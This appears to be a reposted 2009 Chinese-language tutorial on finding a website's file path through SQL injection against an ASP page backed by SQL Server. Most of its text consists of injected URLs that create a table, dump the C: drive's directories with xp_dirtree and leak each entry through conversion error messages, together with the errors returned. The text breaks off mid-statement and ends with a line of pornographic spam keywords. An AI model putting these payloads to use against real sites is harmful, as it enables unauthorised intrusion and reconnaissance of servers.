軟件測試開發技術SQL Server取得網站路徑的幾種方法及比較

發表于:2009-10-20來源:作者:點擊數: 標簽:軟件測試SqlsqlSQLSERVER
軟件測試 開發 技術SQL Server取得網站路徑的幾種方法及比較 SQL Server 數據庫 關鍵字:SQL Server 網站路徑 【賽迪網-IT技術報道】如果網站只開了80端口,你會發現下面的方法是比較有用的,其中用的方法幾乎都不是我發現的,文總包括一些注入時的個人經驗

軟件測試開發技術SQL Server取得網站路徑的幾種方法及比較  SQL Server數據庫

關鍵字:SQL Server 網站路徑  

【賽迪網-IT技術報道】如果網站只開了80端口,你會發現下面的方法是比較有用的,其中用的方法幾乎都不是我發現的,文總包括一些注入時的個人經驗和技巧方法可以說有4種(現在已知的)

第一種方法:

這個是<<怪異的SQL注入>>中介紹的方法

利用sqlserver的xp_dirtree,好的我們先來將一下方法,然后再說其優劣處(在原文的基礎上作了點補充)

建立表

語句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--

返回:正常的信息!說明建表成功!繼續!

(建的比原文的大一點,因為我遇過名子很長的文件,刪除了那個id,因為沒有什么用

語句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree ’c:\’ --

返回:正常信息。說明寫入C盤的所有目錄成功了!爽!接下來就是取表了!暴它出來。(好像只有暴這種方法了)

語句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07

將 varchar 值 ’@Inetpub’轉換為數據類型為 int 的列時發生語法錯誤。

再依次爆出表中的目錄名稱!

語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

dirs where paths not in( ’@Inetpub’))--

返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07

將 varchar 值 ’test’轉換為數據類型為 int 的列時發生語法錯誤。

再依次爆出表中的目錄名稱!

好我們繼續

語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

原文轉自:http://www.anti-gravitydesign.com

国产97人人超碰caoprom_尤物国产在线一区手机播放_精品国产一区二区三_色天使久久综合给合久久97